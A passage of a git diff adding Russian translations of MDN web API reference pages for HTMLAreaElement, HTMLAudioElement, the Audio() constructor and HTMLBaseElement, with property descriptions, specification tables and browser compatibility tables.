+    Следующие свойства сейча устарели: <code>charset</code>, <code>coords</code>, <code>name</code>, <code>rev</code>, и <code>shape</code>.<br>
+    Следующие свойства были добавлены: <code>hash</code>, <code>host</code>, <code>hostname</code>, <code>media</code>, <code>pathname</code>, <code>port</code>, <code>protocol</code>, <code>relList</code>, <code>search</code>, and <code>text</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-48250443', 'HTMLAnchorElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Никаких изменений с {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-48250443', 'HTMLAnchorElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимомть_с_браузерами">Совместимомть с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>download</code></td>
+   <td>14</td>
+   <td>20</td>
+   <td>{{CompatUnknown}}</td>
+   <td>15</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrer</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("42")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>download</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrer</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("42")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий это интерфейс: {{HTMLElement("a")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlareaelement/index.html b/files/ru/web/api/htmlareaelement/index.html
new file mode 100644
index 0000000000..bdf4705d45
--- /dev/null
+++ b/files/ru/web/api/htmlareaelement/index.html
@@ -0,0 +1,220 @@
+---
+title: HTMLAreaElement
+slug: Web/API/HTMLAreaElement
+translation_of: Web/API/HTMLAreaElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p><strong><code>HTMLAreaElement</code></strong> интерфейс предоставляющий специальные свойства и методы (помимо тех, постоянных объектов {{domxref("HTMLElement")}} интерфейса, также доступных ему по наследству) для манипуляции расположением и представлением пространством элементов.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от его родителя, {{domxref("HTMLElement")}}, и реализует те из {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLAreaElement.accessKey")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий единственный символ, который переключает фокус ввода для управления.</dd>
+ <dt>{{domxref("HTMLAreaElement.alt")}}</dt>
+ <dd>Это {{domxref("DOMString")}} которое отображает {{ htmlattrxref("alt", "area") }} HTML атрибут, содержащий альтернативный текст для элемента.</dd>
+ <dt>{{domxref("HTMLAreaElement.coords")}}</dt>
+ <dd>Это {{domxref("DOMString")}} который отображает {{ htmlattrxref("coords", "area") }} HTML атрибут, содержащий координаты активного участка региона.</dd>
+ <dt>{{domxref("HTMLAreaElement.download")}} {{experimental_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} показывает что связанный ресурс предназначен для загрузки, а не для отображения в браузере. Значение представляет собой предполагаемое имя файла. Если имя не является допустимым именем файла в данной ОС, браузер будет адаптировать его.</dd>
+ <dt>{{domxref("URLUtils.hash")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий идентификатор фрагмента (включая начальный hash mark (#)), если таковые имеются, в указанном URL.</dd>
+ <dt>{{domxref("URLUtils.host")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий имя хоста и порт (если это не порт по умолчанию) в указанном URL.</dd>
+ <dt>{{domxref("URLUtils.hostname")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий имя хоста в указанном URL.</dd>
+ <dt>{{domxref("URLUtils.href")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержание которого отображает {{ htmlattrxref("href", "area") }} HTML атрибут, содержащий действительный URL связанного с ним ресурса.</dd>
+ <dt>{{domxref("HTMLAreaElement.hreflang")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержание которого отображает {{ htmlattrxref("hreflang", "area") }} HTML аттрибут, показывающий язык связанного с ним ресурса.</dd>
+ <dt>{{domxref("HTMLAreaElement.media")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержание которого отображает {{ htmlattrxref("media", "area") }} HTML аттрибут, показывающий целевое mediaсвязанного с ним ресурса.</dd>
+ <dt>{{domxref("HTMLAreaElement.noHref")}} {{obsolete_inline}}</dt>
+ <dd>Это {{domxref("Boolean")}} флаг показывающий, если зона неактивна (<code>true</code>) или активна (<code>false</code>).</dd>
+ <dt>{{domxref("URLUtils.password")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий пароль указанный перед именем домена.</dd>
+ <dt>{{domxref("URLUtils.origin")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} содержащий изначальный URL, то есть его схема, его домен, его порт.</dd>
+ <dt>{{domxref("URLUtils.pathname")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий состовную часть пути имени, если таковые имеются в указанном URL.</dd>
+ <dt>{{domxref("URLUtils.port")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий компонент порта , если таковой имеется в указанном URL.</dd>
+ <dt>{{domxref("URLUtils.protocol")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий компоненту протокола (в том числе двоеточия <code>':'</code>), в указанном URL.</dd>
+ <dt>{{domxref("HTMLAreaElement.referrer")}} {{experimental_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} который отображает {{htmlattrxref("referrer", "area")}} HTML атрибут,  показывающий какой referrer используется когда извлекается связанны с ним ресурс.</dd>
+ <dt>{{domxref("HTMLAreaElement.rel")}}</dt>
+ <dd>Это {{domxref("DOMString")}} который отображает {{ htmlattrxref("rel", "area") }} HTML атрибут,показывая отношения текущего документа со связанным с ним ресурсом.</dd>
+ <dt>{{domxref("HTMLAreaElement.relList")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMTokenList")}} который отображает {{ htmlattrxref("rel", "area") }} HTML атрибут, показывая отношения текущего документа к связанному с ним ресурса, как список токенов.</dd>
+ <dt>{{domxref("HTMLAreaElement.search")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий найденный элемент (включая начальный знак вопроса<code>'?'</code>), если таковой имеется, в указанном URL.</dd>
+ <dt>{{domxref("HTMLAreaElement.shape")}}</dt>
+ <dd>Это {{domxref("DOMString")}} который отображается {{ htmlattrxref("shape", "area") }} HTML атрибут, включающий вид активного участка, ограниченный известными значениями.</dd>
+ <dt>{{domxref("HTMLAreaElement.tabIndex")}}</dt>
+ <dd>Как <code>long </code><span class="short_text" id="result_box" lang="ru"><span class="hps">содержащий</span> <span class="hps">положение</span> <span class="hps">элемента</span> <span class="hps">в</span> <span class="hps">порядке табуляции</span></span>.</dd>
+ <dt>{{domxref("HTMLAreaElement.target")}}</dt>
+ <dd>Это  {{domxref("DOMString")}} которое отображает {{ htmlattrxref("target", "area") }} HTML атрибут, включая контекст просмотра, в котором открыт связанный с ним ресурс.</dd>
+ <dt>{{domxref("HTMLAreaElement.type")}}</dt>
+ <dd>Это {{domxref("DOMString")}} которое отображает {{ htmlattrxref("type", "area") }} HTML атрибут, показывающий MIME тип связанного с ним ресурса.</dd>
+ <dt>{{domxref("URLUtils.username")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий имя пользователя. определеное перед доменным именем.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>наследует методы от его родителя, {{domxref("HTMLElement")}} и реализует те из {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("URLUtils.toString()")}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} содержащий весь URL скрипта, выполняемого в {{domxref("Worker")}}. Это синоним для {{domxref("URLUtils.href")}}.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Добавлено свойство <code>referrer</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-map-element.html#the-area-element", "HTMLAreaElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Следующие свойства были добавлены: <code>download</code>.<br>
+    Технически, the URL-связанные свойства, <code>media</code>, <code>host</code>, <code>hostname</code>, <code>pathname</code>, <code>port</code>, <code>protocol</code>, <code>search</code>, и <code>hash</code>, были перемещены в {{domxref("URLUtils")}} интерфейс, и <code>HTMLAreaElement</code> реализует этот интерфейс.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-area-element", "HTMLAreaElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Технически, свойство <code>tabindex</code> и <code>accesskey</code> теперь определены в {{domxref("HTMLElement")}}.<br>
+    Следующие свойства сейчас устарели:  <code>nohref</code>.<br>
+    Следующие свойства были добавлены: <code>rel</code>, <code>relList</code>, <code>media</code>, <code>hreflang</code>, <code>type</code>, <code>host</code>, <code>hostname</code>, <code>pathname</code>, <code>port</code>, <code>protocol</code>, <code>search</code>, и <code>hash</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-26019118', 'HTMLAreaElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Не изменилось с {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-26019118', 'HTMLAreaElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>download</code> {{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrer</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("42")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>download</code> {{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrer</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("42.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий этот интерфейс: {{ HTMLElement("area") }}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlaudioelement/audio()/index.html b/files/ru/web/api/htmlaudioelement/audio()/index.html
new file mode 100644
index 0000000000..4d9e39dfab
--- /dev/null
+++ b/files/ru/web/api/htmlaudioelement/audio()/index.html
@@ -0,0 +1,85 @@
+---
+title: Audio()
+slug: Web/API/HTMLAudioElement/Audio()
+tags:
+  - аудио
+translation_of: Web/API/HTMLAudioElement/Audio
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><span class="seoSummary">Конструктор <code><strong>Audio()</strong></code> создает и возвращает новый {{domxref("HTMLAudioElement")}} объект, который может быть прикреплен к документу, чтобы пользователь мог взаимодействовать и/или слушать его, либо может использоваться вне экрана для управления и воспроизведения звука.</span></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>audioObj</em> = new Audio(<em>url</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>url</code> {{optional_inline}}</dt>
+ <dd>Необязательный параметр {{domxref("DOMString")}}, содержащий URL-адрес аудиофайла, который будет связан с новым аудиоэлементом.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новый {{domxref("HTMLAudioElement")}} объект, настроенный для воспроизведения файла, указанного в <code>url</code>. Свойство {{domxref("HTMLMediaElement.preload", "preload")}} нового объекта имеет значение по умолчанию <code>auto</code>, а его свойство <code>src</code> — указанный URL-адрес или <code>null</code>, если адрес не указан. Если указан URL-адрес, браузер начинает <em>асинхронно</em> загружать медиаресурс перед возвратом нового объекта.</p>
+
+<ul>
+</ul>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<p>Вы также можете использовать другие методы создания элементов, такие как метод {{domxref("Document.createElement", "createElement()")}} объекта {{domxref("document")}}, для создания нового {{domxref("HTMLAudioElement")}} объекта.</p>
+
+<h3 id="Определение_когда_воспроизведение_может_начаться">Определение, когда воспроизведение может начаться</h3>
+
+<p>Существует три способа определить насколько аудио-файл загружен, чтобы начать воспроизведение:</p>
+
+<ul>
+ <li>Проверьте значение свойства {{domxref("HTMLMediaElement.readyState", "readyState")}}. Если оно равняется <code>HTMLMediaElement.HAVE_FUTURE_DATA</code>, значит загружено достаточно данных, чтобы начать воспроизведение и проиграть хотя бы короткое время. Если <code>HTMLMediaElement.HAVE_ENOUGH_DATA</code> — доступно достаточно данных, чтобы воспроизводить аудио до конца без прерываний, учитывая текущую скорость загрузки.</li>
+ <li>Прослушайте событие {{domxref("HTMLMediaElement.canplay_event", "canplay")}}. Оно отправляется элементу <code>&lt;audio&gt;</code>, когда достаточно данных для воспроизведения (хотя возможны прерывания).</li>
+ <li>Прослушайте событие {{domxref("HTMLMediaElement.canplaythrough_event", "canplaythrough")}}. Оно отправляется, когда предполагается, что аудио должно воспроизводиться до конца без прерываний.</li>
+</ul>
+
+<p>Лучший подход, основанный на событии:</p>
+
+<pre class="brush: js notranslate">myAudioElement.addEventListener("canplaythrough", event =&gt; {
+  /* аудио может быть воспроизведено; проиграть, если позволяют разрешения */
+  myAudioElement.play();
+});</pre>
+
+<h3 id="Использование_памяти_и_управление">Использование памяти и управление</h3>
+
+<p>Если все ссылки на аудиоэлемент, созданные с помощью конструктора <code>Audio()</code> удалены, сам элемент не будет удален из памяти механизмом сборщика мусора JavaScript, если в данный момент идет воспроизведение. Вместо этого продолжится воспроизведение и объект останется в памяти до тех пор, пока не закончится аудио или оно не будет приостановлено (например, путем вызова {{domxref("HTMLMediaElement.pause", "pause()")}}). В этот момент объект подлежит уничтожению сборщиком мусора.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#dom-audio", "Audio()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>Таблица совместимости на этой странице генерируется из структурированных данных. Если Вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправте нам Pull-запрос.</p>
+
+<p>{{Compat("api.HTMLAudioElement.Audio")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Media">Web media technologies</a></li>
+ <li>HTML-элемент, реализующий этот интерфейс: {{HTMLElement("audio")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlaudioelement/index.html b/files/ru/web/api/htmlaudioelement/index.html
new file mode 100644
index 0000000000..c5220d62d0
--- /dev/null
+++ b/files/ru/web/api/htmlaudioelement/index.html
@@ -0,0 +1,171 @@
+---
+title: HTMLAudioElement
+slug: Web/API/HTMLAudioElement
+translation_of: Web/API/HTMLAudioElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<div> </div>
+
+<p><strong><code>HTMLAudioElement</code></strong> позволяет получить доступ к элементу  {{HTMLElement("audio")}} и имеет DOM элемент {{domxref("HTMLMediaElement")}}.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<p><em>Не имеет своих свойств; наследует свойства от родителя {{domxref("HTMLMediaElement")}} и от {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p><em>Наследует методы от родителя {{domxref("HTMLMediaElement")}} и от {{domxref("HTMLElement")}}.</em></p>
+
+<h3 id="Конструктор">Конструктор</h3>
+
+<h4 id="Синтаксис">Синтаксис</h4>
+
+<pre class="syntaxbox">mySound = new Audio([<em>URLString</em>]);
+</pre>
+
+<h4 id="Описание">Описание</h4>
+
+<p>Конструктор audio элемента. Свойство <code>preload</code> по умолчанию задано как <code>auto</code>, а <code>src</code> равно значению аргумента <em>URLString.</em> Перед воспроизведением, браузер асинхронно загружает объект в кэш и впоследствии берет данные оттуда.</p>
+
+<p>Параметры</p>
+
+<dl>
+ <dt><code>URLString</code> (expected type: {{domxref("DOMString")}}; optional)</dt>
+ <dd>'src' для 'audio' тега. (URL , с которого должен получать mp3 файл)</dd>
+</dl>
+
+<h3 id="Регулярные_методы">Регулярные методы</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Name &amp; Arguments</th>
+   <th scope="col">Return</th>
+   <th scope="col">Description</th>
+  </tr>
+  <tr>
+   <td><code>mozCurrentSampleOffset()</code> {{non-standard_inline}}</td>
+   <td><code>unsigned long long</code></td>
+   <td><code>Отображает текущую нагрузку аудиострима, который был создан методом mozWriteAudio()</code>. Эта цифра отражает количество сэмплов с момента начала стрима</td>
+  </tr>
+  <tr>
+   <td>
+    <p><code>mozSetup(in PRUint32 channels, in PRUint32 rate)</code> {{non-standard_inline}}</p>
+   </td>
+   <td><code>void</code></td>
+   <td>Создает аудиострима для записи. Вы можете указать такие параметры, как количество каналов  (<code>1</code> for mono or <code>2</code> for stereo), так и частота сэмпла (<code>44100</code> for 44.1kHz, for example).</td>
+  </tr>
+  <tr>
+   <td><code>mozWriteAudio(in jsval data) </code>{{non-standard_inline}}</td>
+   <td><code>unsigned long</code></td>
+   <td>Запускает аудио стрим на текущую частоту. Возращает количество байтов, которые записаны в стрим</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-video-element.html#the-audio-element", "HTMLAudioElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-audio-element", "HTMLAudioElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>
+    <p> </p>
+
+    <table>
+     <tbody>
+      <tr>
+       <th>Особенность</th>
+      </tr>
+     </tbody>
+    </table>
+   </th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>С поддержкой фич mozSetup()</code>, <code>mozCurrentSampleOffset()</code>, <code>mozWriteAudio()</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Фича</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.9.1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>С поддержкой фич mozSetup()</code>, <code>mozCurrentSampleOffset()</code>, <code>mozWriteAudio()</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(2.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{HTMLElement("audio")}}.</li>
+</ul>
diff --git a/files/ru/web/api/htmlbaseelement/index.html b/files/ru/web/api/htmlbaseelement/index.html
new file mode 100644
index 0000000000..fd7b39d997
--- /dev/null
+++ b/files/ru/web/api/htmlbaseelement/index.html
@@ -0,0 +1,120 @@
+---
+title: HTMLBaseElement
+slug: Web/API/HTMLBaseElement
+translation_of: Web/API/HTMLBaseElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<div> </div>
+
+<p><strong><code>HTMLBaseElement</code></strong> интерфейс содержит базовый URI для документа. Этот объект наследует все свойства и методы которые описаны в {{domxref("HTMLElement")}} интерфейсе.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от его родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLBaseElement.href")}}</dt>
+ <dd>IЭто {{domxref("DOMString")}} которая отображает {{htmlattrxref("href", "base")}} HTML атрибут, содержащий базовый URL относительно URLs ы документе.</dd>
+ <dt>{{domxref("HTMLBaseElement.target")}}</dt>
+ <dd>Это {{domxref("DOMString")}} которое отображает {{htmlattrxref("target", "base")}} HTML атрибут, содержащий контекст цели просмотра по умолчанию или фрейм для элементов которые не имеют указанную целевую ссылку.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Не имеет специфичных методов; наследует атрибуты от своего родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "semantics.html#the-base-element", "HTMLBaseElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не изменилось с последнего снимка, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "document-metadata.html#the-base-element", "HTMLBaseElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Не изменилось с {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "document-metadata.html#the-base-element", "HTMLBaseElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Не изменилось с {{SpecName("DOM2 HTML")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-73629039', 'HTMLBaseElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Не изменилось с {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-73629039', 'HTMLBaseElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
